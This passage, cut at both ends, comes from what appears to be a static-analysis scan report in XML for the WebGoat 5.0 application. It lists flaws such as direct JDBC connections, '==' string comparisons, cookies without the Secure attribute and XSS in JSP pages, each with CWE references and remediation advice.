+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"68\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(WebSession)\" functionrelativelocation=\"93\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"41\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"78\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"90\"/>\n<flaw severity=\"2\" categoryname=\"J2EE
+        Bad Practices: Direct Management of Connections\" count=\"1\" issueid=\"26\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"253\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"105\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"597\" cwename=\"Use
+        of Wrong Operator in String Comparison\" pcirelated=\"false\" certjava=\"847\">\n<description>\n<text
+        text=\"Using '==' to compare two strings for equality or '!=' for inequality
+        actually compares the object references rather than their values.  It is unlikely
+        that this reflects the intended application logic.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"176\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"142\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"70\"/>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"203\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"280\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"85\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"248\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"282\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"86\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"164\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"614\" cwename=\"Sensitive Cookie
+        in HTTPS Session Without 'Secure' Attribute\" pcirelated=\"false\" owasp=\"934\"
+        sans=\"311\">\n<description>\n<text text=\"Setting the Secure attribute on
+        an HTTP cookie instructs the web browser to send it only over a secure channel,
+        such as an SSL connection.  Issuing a cookie without the Secure attribute
+        allows the browser to transmit it over unencrypted connections, which are
+        susceptible to eavesdropping.  It is particularly important to set the Secure
+        attribute on any cookies containing sensitive data, such as authentication
+        information (e.g. &quot;remember me&quot; style functionality).\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"158\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"172\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage1(session.WebSession)\" functionrelativelocation=\"94\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"154\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"193\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"3\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"159\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"146\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"19\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"209\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"apache.ecs.Element makeLogin(session.WebSession)\" functionrelativelocation=\"8\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"52\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"1\"/>\n<severity level=\"0\">\n<category categoryid=\"20\" categoryname=\"Cross-Site
+        Scripting\" pcirelated=\"false\">\n<desc>\n<para text=\"Cross-site scripting
+        (XSS) attacks occur when an attacker uses a web application to send malicious
+        code, generally in the form of a browser side script, to a different end user.
+        Flaws that allow these attacks to succeed occur whenever a web application
+        uses untrusted data in the output it generates without validating or encoding
+        it.  XSS vulnerabilities are commonly exploited to steal or manipulate cookies,
+        modify presentation of content, and compromise sensitive information, with
+        new attack vectors being discovered on a regular basis.  XSS is also commonly
+        referred to as HTML injection.\"/>\n<para text=\"XSS vulnerabilities can be
+        either persistent or transient (often referred to as stored and reflected,
+        respectively).  In a persistent XSS vulnerability, the injected code is stored
+        by the application, for example within a blog comment or message board.  The
+        attack occurs whenever a victim views the page containing the malicious script.
+        \ In a transient XSS vulnerability, the injected code is included directly
+        in the HTTP request.  These attacks are often carried out via malicious URLs
+        sent via email or another website and requires the victim to browse to that
+        link.  The consequence of an XSS attack to a victim is the same regardless
+        of whether it is persistent or transient; however, persistent XSS vulnerabilities
+        are likely to affect a greater number of victims due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Several techniques can be used to prevent XSS attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"80\" cwename=\"Improper Neutralization of Script-Related HTML Tags
+        in a Web Page (Basic XSS)\" pcirelated=\"false\" owasp=\"931\" sans=\"79\">\n<description>\n<text
+        text=\"This call contains a cross-site scripting (XSS) flaw.  The application
+        populates the HTTP response with user-supplied input, allowing an attacker
+        to embed malicious content, such as Javascript code, which will be executed
+        in the context of the victim's browser.  XSS vulnerabilities are commonly
+        exploited to steal or manipulate cookies, modify presentation of content,
+        and compromise confidential information, with new attack vectors being discovered
+        on a regular basis.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"0\"
+        categoryname=\"Improper Neutralization of Script-Related HTML Tags in a Web
+        Page (Basic XSS)\" count=\"1\" issueid=\"184\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"89\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"240\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"94\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"177\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
